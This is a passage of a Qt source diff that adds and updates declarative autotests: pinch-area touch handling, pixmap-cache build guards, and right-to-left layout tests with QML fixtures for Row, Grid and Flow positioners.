+    QCOMPARE(pinch->minimumRotation(), 0.0);
+    QCOMPARE(pinch->maximumRotation(), 90.0);
+
+    pinch->setMinimumRotation(-90.0);
+    pinch->setMaximumRotation(45.0);
+
+    QCOMPARE(pinch->minimumRotation(), -90.0);
+    QCOMPARE(pinch->maximumRotation(), 45.0);
+
+    QCOMPARE(rotMinSpy.count(),1);
+    QCOMPARE(rotMaxSpy.count(),1);
+
+    pinch->setMinimumRotation(-90.0);
+    pinch->setMaximumRotation(45.0);
+
+    QCOMPARE(rotMinSpy.count(),1);
+    QCOMPARE(rotMaxSpy.count(),1);
+
+    delete canvas;
+}
+
+QTouchEvent::TouchPoint makeTouchPoint(int id, QPoint p, QGraphicsView *v, QGraphicsItem *i)
+{
+    QTouchEvent::TouchPoint touchPoint(id);
+    touchPoint.setPos(i->mapFromScene(p));
+    touchPoint.setScreenPos(v->mapToGlobal(p));
+    touchPoint.setScenePos(p);
+    return touchPoint;
+}
+
+void tst_QDeclarativePinchArea::scale()
+{
+    QDeclarativeView *canvas = createView();
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml"));
+    canvas->show();
+    canvas->setFocus();
+    QTest::qWaitForWindowShown(canvas);
+    QVERIFY(canvas->rootObject() != 0);
+    qApp->processEvents();
+
+    QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+    QDeclarativePinch *pinch = pinchArea->pinch();
+    QVERIFY(pinchArea != 0);
+    QVERIFY(pinch != 0);
+
+    QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+    QVERIFY(root != 0);
+
+    // target
+    QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+    QVERIFY(blackRect != 0);
+
+    QWidget *vp = canvas->viewport();
+
+    QPoint p1(80, 80);
+    QPoint p2(100, 100);
+
+    QTest::touchEvent(vp).press(0, p1);
+    QTest::touchEvent(vp).stationary(0).press(1, p2);
+    p1 -= QPoint(10,10);
+    p2 += QPoint(10,10);
+    QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+    QCOMPARE(root->property("scale").toReal(), 1.0);
+
+    p1 -= QPoint(10,10);
+    p2 += QPoint(10,10);
+    QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+    QCOMPARE(root->property("scale").toReal(), 1.5);
+    QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50
+    QCOMPARE(blackRect->scale(), 1.5);
+
+    // scale beyond bound
+    p1 -= QPoint(50,50);
+    p2 += QPoint(50,50);
+    QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+    QCOMPARE(blackRect->scale(), 2.0);
+
+    QTest::touchEvent(vp).release(0, p1).release(1, p2);
+
+    delete canvas;
+}
+
+void tst_QDeclarativePinchArea::pan()
+{
+    QDeclarativeView *canvas = createView();
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml"));
+    canvas->show();
+    canvas->setFocus();
+    QTest::qWaitForWindowShown(canvas);
+    QVERIFY(canvas->rootObject() != 0);
+    qApp->processEvents();
+
+    QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+    QDeclarativePinch *pinch = pinchArea->pinch();
+    QVERIFY(pinchArea != 0);
+    QVERIFY(pinch != 0);
+
+    QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+    QVERIFY(root != 0);
+
+    // target
+    QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+    QVERIFY(blackRect != 0);
+
+    QWidget *vp = canvas->viewport();
+
+    QPoint p1(80, 80);
+    QPoint p2(100, 100);
+
+    QTest::touchEvent(vp).press(0, p1);
+    QTest::touchEvent(vp).stationary(0).press(1, p2);
+    p1 += QPoint(10,10);
+    p2 += QPoint(10,10);
+    QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+    QCOMPARE(root->property("scale").toReal(), 1.0);
+
+    p1 += QPoint(10,10);
+    p2 += QPoint(10,10);
+    QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+    QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50
+
+    QCOMPARE(blackRect->x(), 60.0);
+    QCOMPARE(blackRect->y(), 60.0);
+
+    // pan x beyond bound
+    p1 += QPoint(100,100);
+    p2 += QPoint(100,100);
+    QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+    QCOMPARE(blackRect->x(), 140.0);
+    QCOMPARE(blackRect->y(), 160.0);
+
+    QTest::touchEvent(vp).release(0, p1).release(1, p2);
+
+    delete canvas;
+}
+
+QDeclarativeView *tst_QDeclarativePinchArea::createView()
+{
+    QDeclarativeView *canvas = new QDeclarativeView(0);
+    canvas->viewport()->setAttribute(Qt::WA_AcceptTouchEvents);
+    canvas->setFixedSize(240,320);
+
+    return canvas;
+}
+
+QTEST_MAIN(tst_QDeclarativePinchArea)
+
+#include "tst_qdeclarativepincharea.moc"
diff --git a/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp
index 0dafc50..edb182c 100644
--- a/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp
+++ b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp
@@ -47,6 +47,11 @@
 #include "testhttpserver.h"
 #include "../../../shared/util.h"
 
+#ifndef QT_NO_CONCURRENT
+#include <qtconcurrentrun.h>
+#include <qfuture.h>
+#endif
+
 // These don't let normal people run tests!
 //#include "../network-settings.h"
 
@@ -356,6 +361,8 @@ void tst_qdeclarativepixmapcache::shrinkcache()
     }
 }
 
+#ifndef QT_NO_CONCURRENT
+
 void createNetworkServer()
 {
    QEventLoop eventLoop;
@@ -382,6 +389,8 @@ void tst_qdeclarativepixmapcache::networkCrash()
 }
 #endif
 
+#endif
+
 QTEST_MAIN(tst_qdeclarativepixmapcache)
 
 #include "tst_qdeclarativepixmapcache.moc"
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml
index 51c8134..ee4e104 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml
@@ -1,16 +1,19 @@
-import QtQuick 1.0
+import QtQuick 1.1
 
 Rectangle {
     width: 300; height: 200;
 
-    property bool leftToRight: false
+    property int flowLayout: 1
 
     Flow {
         objectName: "flow"
-        flow: leftToRight ? Flow.LeftToRight : Flow.TopToBottom
+        layoutDirection: (flowLayout == 2) ? Qt.RightToLeft : Qt.LeftToRight
+        flow: (flowLayout == 1) ? Flow.TopToBottom : Flow.LeftToRight;
+
         spacing: 20
         anchors.horizontalCenter: parent.horizontalCenter
         Rectangle { color: "red"; width: 100; height: 50 }
         Rectangle { color: "blue"; width: 100; height: 50 }
     }
 }
+
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml
new file mode 100644
index 0000000..ec1d666
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml
@@ -0,0 +1,44 @@
+import QtQuick 1.1
+
+Item {
+    height: 90
+    width: 480
+    property bool testRightToLeft: false
+
+    Flow {
+        objectName: "flow"
+        height: parent.height
+        layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
+        flow: Flow.TopToBottom
+        Rectangle {
+            objectName: "one"
+            color: "red"
+            width: 50
+            height: 50
+        }
+        Rectangle {
+            objectName: "two"
+            color: "green"
+            width: 20
+            height: 50
+        }
+        Rectangle {
+            objectName: "three"
+            color: "blue"
+            width: 50
+            height: 20
+        }
+        Rectangle {
+            objectName: "four"
+            color: "cyan"
+            width: 50
+            height: 50
+        }
+        Rectangle {
+            objectName: "five"
+            color: "magenta"
+            width: 10
+            height: 10
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml
index 2810234..7c124a3 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml
@@ -1,11 +1,14 @@
-import QtQuick 1.0
+import QtQuick 1.1
 
 Item {
     width: 90
     height: 480
+    property bool testRightToLeft: false
+
     Flow {
         objectName: "flow"
         width: parent.width
+        layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
         Rectangle {
             objectName: "one"
             color: "red"
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml
index e13f078..3dcbed1 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml
@@ -1,11 +1,14 @@
-import QtQuick 1.0
+import QtQuick 1.1
 
 Item {
     width: 640
     height: 480
+    property bool testRightToLeft: true
+
     Grid {
         objectName: "grid"
         columns: 3
+        layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
         add: Transition {
             NumberAnimation {
                 properties: "x,y";
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml
new file mode 100644
index 0000000..0ec1f37
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.1
+
+Item {
+    width: 640
+    height: 480
+    Grid {
+        objectName: "grid"
+        columns: 3
+        layoutDirection: Qt.RightToLeft
+        Rectangle {
+            objectName: "one"
+            color: "red"
+            width: 50
+            height: 50
+        }
+        Rectangle {
+            objectName: "two"
+            color: "green"
+            width: 20
+            height: 50
+        }
+        Rectangle {
+            objectName: "three"
+            color: "blue"
+            width: 50
+            height: 20
+        }
+        Rectangle {
+            objectName: "four"
+            color: "cyan"
+            width: 50
+            height: 50
+        }
+        Rectangle {
+            objectName: "five"
+            color: "magenta"
+            width: 10
+            height: 10
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml
index 5b064cd..3c95f53 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml
@@ -1,10 +1,13 @@
-import QtQuick 1.0
+import QtQuick 1.1
 
 Item {
     width: 640
     height: 480
+    property bool testRightToLeft: false
+
     Row {
         objectName: "row"
+        layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
         add: Transition {
             NumberAnimation {
                 properties: "x";
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml
index 2b46bca..64bedb0 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml
@@ -1,11 +1,14 @@
-import QtQuick 1.0
+import QtQuick 1.1
 
 Item {
     width: 640
     height: 480
+    property bool testRightToLeft: false
+
     Row {
         objectName: "row"
         spacing: 10
+        layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
         Rectangle {
             objectName: "one"
             color: "red"
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml
index 919cecc..e1a9652 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml
@@ -1,10 +1,13 @@
-import QtQuick 1.0
+import QtQuick 1.1
 
 Item {
     width: 640
     height: 480
+    property bool testRightToLeft: false
+
     Row {
         objectName: "row"
+        layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
         Rectangle {
             objectName: "one"
             color: "red"
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml
index 1cba598..f93ce67 100644
--- a/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml
+++ b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml
@@ -12,9 +12,27 @@ Item {
                     height: 50
                     z: {if(index == 0){2;}else if(index == 1){1;} else{3;}}
                     objectName: {if(index == 0){"one";}else if(index == 1){"two";} else{"three";}}
-
                 }
             }
         }
     }
+
+    //This crashed once (QTBUG-16959) because the repeater ended up on the end of the list
+    //If this grid just instantiates without crashing, then it has not regressed.
+    Grid {
+        id: grid
+        rows: 2
+        flow: Grid.TopToBottom
+
+        Repeater {
+            model: 13
+            Rectangle {
+                color: "goldenrod"
+                width: 100
+                height: 100
+                radius: 10
+                border.width: 1
+            }
+        }
+    }
 }
diff --git a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
index 93611cc..40e533d 100644
--- a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
+++ b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
@@ -62,23 +62,33 @@ public:
 
 private slots:
     void test_horizontal();
+    void test_horizontal_rtl();
     void test_horizontal_spacing();
+    void test_horizontal_spacing_rightToLeft();
     void test_horizontal_animated();
+    void test_horizontal_animated_rightToLeft();
     void test_vertical();
     void test_vertical_spacing();
     void test_vertical_animated();
     void test_grid();
     void test_grid_topToBottom();
+    void test_grid_rightToLeft();
     void test_grid_spacing();
     void test_grid_animated();
+    void test_grid_animated_rightToLeft();
     void test_grid_zero_columns();
     void test_propertychanges();
     void test_repeater();
     void test_flow();
+    void test_flow_rightToLeft();
+    void test_flow_topToBottom();
     void test_flow_resize();
+    void test_flow_resize_rightToLeft();
     void test_flow_implicit_resize();
     void test_conflictinganchors();
     void test_vertical_qgraphicswidget();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
 private:
     QDeclarativeView *createView(const QString &filename);
 };
@@ -91,6 +101,8 @@ void tst_QDeclarativePositioners::test_horizontal()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml");
 
+    canvas->rootObject()->setProperty("testRightToLeft", false);
+
     QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
     QVERIFY(one != 0);
 
@@ -114,10 +126,41 @@ void tst_QDeclarativePositioners::test_horizontal()
     delete canvas;
 }
 
+void tst_QDeclarativePositioners::test_horizontal_rtl()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml");
+
+    canvas->rootObject()->setProperty("testRightToLeft", true);
+
+    QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+    QVERIFY(one != 0);
+
+    QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+    QVERIFY(two != 0);
+
+    QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+    QVERIFY(three != 0);
+
+    QCOMPARE(one->x(), 60.0);
+    QCOMPARE(one->y(), 0.0);
+    QCOMPARE(two->x(), 40.0);
+    QCOMPARE(two->y(), 0.0);
+    QCOMPARE(three->x(), 0.0);
+    QCOMPARE(three->y(), 0.0);
+
+    QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+    QCOMPARE(row->width(), 110.0);
+    QCOMPARE(row->height(), 50.0);
+
+    delete canvas;
+}
+
 void tst_QDeclarativePositioners::test_horizontal_spacing()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml");
 
+    canvas->rootObject()->setProperty("testRightToLeft", false);
+
     QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
     QVERIFY(one != 0);
 
@@ -141,10 +184,41 @@ void tst_QDeclarativePositioners::test_horizontal_spacing()
     delete canvas;
 }
 
+void tst_QDeclarativePositioners::test_horizontal_spacing_rightToLeft()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml");
+
+    canvas->rootObject()->setProperty("testRightToLeft", true);
+
+    QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+    QVERIFY(one != 0);
+
+    QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+    QVERIFY(two != 0);
+
+    QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+    QVERIFY(three != 0);
+
+    QCOMPARE(one->x(), 80.0);
+    QCOMPARE(one->y(), 0.0);
+    QCOMPARE(two->x(), 50.0);
+    QCOMPARE(two->y(), 0.0);
+    QCOMPARE(three->x(), 00.0);
+    QCOMPARE(three->y(), 0.0);
+
+    QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+    QCOMPARE(row->width(), 130.0);
+    QCOMPARE(row->height(), 50.0);
+
+    delete canvas;
+}
+
 void tst_QDeclarativePositioners::test_horizontal_animated()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml");
 
+    canvas->rootObject()->setProperty("testRightToLeft", false);
+
     QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
     QVERIFY(one != 0);
 
@@ -193,6 +267,60 @@ void tst_QDeclarativePositioners::test_horizontal_animated()
     delete canvas;
 }
 
+void tst_QDeclarativePositioners::test_horizontal_animated_rightToLeft()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml");
+
+    canvas->rootObject()->setProperty("testRightToLeft", true);
+
+    QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+    QVERIFY(one != 0);
+
+    QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+    QVERIFY(two != 0);
+
+    QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+    QVERIFY(three != 0);
+
+    //Note that they animate in
+    QCOMPARE(one->x(), -100.0);
+    QCOMPARE(two->x(), -100.0);
+    QCOMPARE(three->x(), -100.0);
+
+    QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+    QVERIFY(row);
+    QCOMPARE(row->width(), 100.0);
+    QCOMPARE(row->height(), 50.0);
+
+    //QTRY_COMPARE used instead of waiting for the expected time of animation completion
+    //Note that this means the duration of the animation is NOT tested
+
+    QTRY_COMPARE(one->x(), 50.0);
+    QTRY_COMPARE(one->y(), 0.0);
+    QTRY_COMPARE(two->opacity(), 0.0);
+    QTRY_COMPARE(two->x(), -100.0);//Not 'in' yet
+    QTRY_COMPARE(two->y(), 0.0);
+    QTRY_COMPARE(three->x(), 0.0);
+    QTRY_COMPARE(three->y(), 0.0);
+
+    //Add 'two'
+    two->setOpacity(1.0);
+    QCOMPARE(two->opacity(), 1.0);
+
+    // New size should be immediate
+    QCOMPARE(row->width(), 150.0);
+    QCOMPARE(row->height(), 50.0);
+
+    QTest::qWait(0);//Let the animation start
+    QCOMPARE(one->x(), 50.0);
+    QCOMPARE(two->x(), -100.0);
+
+    QTRY_COMPARE(one->x(), 100.0);
+    QTRY_COMPARE(two->x(), 50.0);
+
+    delete canvas;
+}
+
 void tst_QDeclarativePositioners::test_vertical()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/vertical.qml");
@@ -364,6 +492,40 @@ void tst_QDeclarativePositioners::test_grid_topToBottom()
     delete canvas;
 }
 
+void tst_QDeclarativePositioners::test_grid_rightToLeft()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/grid-righttoleft.qml");
+
+    QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+    QVERIFY(one != 0);
+    QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+    QVERIFY(two != 0);
+    QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+    QVERIFY(three != 0);
+    QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+    QVERIFY(four != 0);
+    QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+    QVERIFY(five != 0);
+
+    QCOMPARE(one->x(), 70.0);
+    QCOMPARE(one->y(), 0.0);
+    QCOMPARE(two->x(), 50.0);
+    QCOMPARE(two->y(), 0.0);
+    QCOMPARE(three->x(), 0.0);
+    QCOMPARE(three->y(), 0.0);
+    QCOMPARE(four->x(), 70.0);
+    QCOMPARE(four->y(), 50.0);
+    QCOMPARE(five->x(), 60.0);
+    QCOMPARE(five->y(), 50.0);
+
+    QDeclarativeGrid *grid = canvas->rootObject()->findChild<QDeclarativeGrid*>("grid");
+    QCOMPARE(grid->layoutDirection(), Qt::RightToLeft);
+    QCOMPARE(grid->width(), 120.0);
+    QCOMPARE(grid->height(), 100.0);
+
+    delete canvas;
+}
+
 void tst_QDeclarativePositioners::test_grid_spacing()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/grid-spacing.qml");
@@ -401,6 +563,8 @@ void tst_QDeclarativePositioners::test_grid_animated()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml");
 
+    canvas->rootObject()->setProperty("testRightToLeft", false);
+
     //Note that all animate in
     QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
     QVERIFY(one != 0);
@@ -478,6 +642,89 @@ void tst_QDeclarativePositioners::test_grid_animated()
     delete canvas;
 }
 
+void tst_QDeclarativePositioners::test_grid_animated_rightToLeft()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml");
+
+    canvas->rootObject()->setProperty("testRightToLeft", true);
+
+    //Note that all animate in
+    QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+    QVERIFY(one != 0);
+    QCOMPARE(one->x(), -100.0);
+    QCOMPARE(one->y(), -100.0);
+
+    QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+    QVERIFY(two != 0);
+    QCOMPARE(two->x(), -100.0);
+    QCOMPARE(two->y(), -100.0);
+
+    QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+    QVERIFY(three != 0);
+    QCOMPARE(three->x(), -100.0);
+    QCOMPARE(three->y(), -100.0);
+
+    QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+    QVERIFY(four != 0);
+    QCOMPARE(four->x(), -100.0);
+    QCOMPARE(four->y(), -100.0);
+
+    QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+    QVERIFY(five != 0);
+    QCOMPARE(five->x(), -100.0);
+    QCOMPARE(five->y(), -100.0);
+
+    QDeclarativeItem *grid = canvas->rootObject()->findChild<QDeclarativeItem*>("grid");
+    QVERIFY(grid);
+    QCOMPARE(grid->width(), 150.0);
+    QCOMPARE(grid->height(), 100.0);
+
+    //QTRY_COMPARE used instead of waiting for the expected time of animation completion
+    //Note that this means the duration of the animation is NOT tested
+
+    QTRY_COMPARE(one->y(), 0.0);
+    QTRY_COMPARE(one->x(), 100.0);
+    QTRY_COMPARE(two->opacity(), 0.0);
+    QTRY_COMPARE(two->y(), -100.0);
+    QTRY_COMPARE(two->x(), -100.0);
+    QTRY_COMPARE(three->y(), 0.0);
+    QTRY_COMPARE(three->x(), 50.0);
+    QTRY_COMPARE(four->y(), 0.0);
+    QTRY_COMPARE(four->x(), 0.0);
+    QTRY_COMPARE(five->y(), 50.0);
+    QTRY_COMPARE(five->x(), 100.0);
+
+    //Add 'two'
+    two->setOpacity(1.0);
+    QCOMPARE(two->opacity(), 1.0);
+    QCOMPARE(grid->width(), 150.0);
+    QCOMPARE(grid->height(), 100.0);
+    QTest::qWait(0);//Let the animation start
+    QCOMPARE(two->x(), -100.0);
+    QCOMPARE(two->y(), -100.0);
+    QCOMPARE(one->x(), 100.0);
+    QCOMPARE(one->y(), 0.0);
+    QCOMPARE(three->x(), 50.0);
+    QCOMPARE(three->y(), 0.0);
+    QCOMPARE(four->x(), 0.0);
+    QCOMPARE(four->y(), 0.0);
+    QCOMPARE(five->x(), 100.0);
+    QCOMPARE(five->y(), 50.0);
+    //Let the animation complete
+    QTRY_COMPARE(two->x(), 50.0);
+    QTRY_COMPARE(two->y(), 0.0);
+    QTRY_COMPARE(one->x(), 100.0);
+    QTRY_COMPARE(one->y(), 0.0);
+    QTRY_COMPARE(three->x(), 0.0);
+    QTRY_COMPARE(three->y(), 0.0);
+    QTRY_COMPARE(four->x(), 100.0);
+    QTRY_COMPARE(four->y(), 50.0);
+    QTRY_COMPARE(five->x(), 50.0);
+    QTRY_COMPARE(five->y(), 50.0);
+
+    delete canvas;
+}
+
 void tst_QDeclarativePositioners::test_grid_zero_columns()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/gridzerocolumns.qml");
@@ -597,6 +844,8 @@ void tst_QDeclarativePositioners::test_flow()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
 
+    canvas->rootObject()->setProperty("testRightToLeft", false);
+
     QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
     QVERIFY(one != 0);
     QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
@@ -627,6 +876,95 @@ void tst_QDeclarativePositioners::test_flow()
     delete canvas;
 }
 
+void tst_QDeclarativePositioners::test_flow_rightToLeft()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
+
+    canvas->rootObject()->setProperty("testRightToLeft", true);
+
+    QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+    QVERIFY(one != 0);
+    QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+    QVERIFY(two != 0);
+    QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+    QVERIFY(three != 0);
+    QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+    QVERIFY(four != 0);
+    QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+    QVERIFY(five != 0);
+
+    QCOMPARE(one->x(), 40.0);
+    QCOMPARE(one->y(), 0.0);
+    QCOMPARE(two->x(), 20.0);
+    QCOMPARE(two->y(), 0.0);
+    QCOMPARE(three->x(), 40.0);
+    QCOMPARE(three->y(), 50.0);
+    QCOMPARE(four->x(), 40.0);
+    QCOMPARE(four->y(), 70.0);
+    QCOMPARE(five->x(), 30.0);
+    QCOMPARE(five->y(), 70.0);
+
+    QDeclarativeItem *flow = canvas->rootObject()->findChild<QDeclarativeItem*>("flow");
+    QVERIFY(flow);
+    QCOMPARE(flow->width(), 90.0);
+    QCOMPARE(flow->height(), 120.0);
+
+    delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_flow_topToBottom()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest-toptobottom.qml");
+
+    canvas->rootObject()->setProperty("testRightToLeft", false);
+
+    QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+    QVERIFY(one != 0);
+    QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+    QVERIFY(two != 0);
+    QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+    QVERIFY(three != 0);
+    QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+    QVERIFY(four != 0);
+    QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+    QVERIFY(five != 0);
+
+    QCOMPARE(one->x(), 0.0);
+    QCOMPARE(one->y(), 0.0);
+    QCOMPARE(two->x(), 50.0);
+    QCOMPARE(two->y(), 0.0);
+    QCOMPARE(three->x(), 50.0);
+    QCOMPARE(three->y(), 50.0);
+    QCOMPARE(four->x(), 100.0);
+    QCOMPARE(four->y(), 00.0);
+    QCOMPARE(five->x(), 100.0);
+    QCOMPARE(five->y(), 50.0);
+
+    QDeclarativeItem *flow = canvas->rootObject()->findChild<QDeclarativeItem*>("flow");
+    QVERIFY(flow);
+    QCOMPARE(flow->height(), 90.0);
+    QCOMPARE(flow->width(), 150.0);
+
+    canvas->rootObject()->setProperty("testRightToLeft", true);
+
+    QVERIFY(flow);
+    QCOMPARE(flow->height(), 90.0);
+    QCOMPARE(flow->width(), 150.0);
+
+    QCOMPARE(one->x(), 100.0);
+    QCOMPARE(one->y(), 0.0);
+    QCOMPARE(two->x(), 80.0);
+    QCOMPARE(two->y(), 0.0);
+    QCOMPARE(three->x(), 50.0);
+    QCOMPARE(three->y(), 50.0);
+    QCOMPARE(four->x(), 0.0);
+    QCOMPARE(four->y(), 0.0);
+    QCOMPARE(five->x(), 40.0);
+    QCOMPARE(five->y(), 50.0);
+
+    delete canvas;
+}
+
 void tst_QDeclarativePositioners::test_flow_resize()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
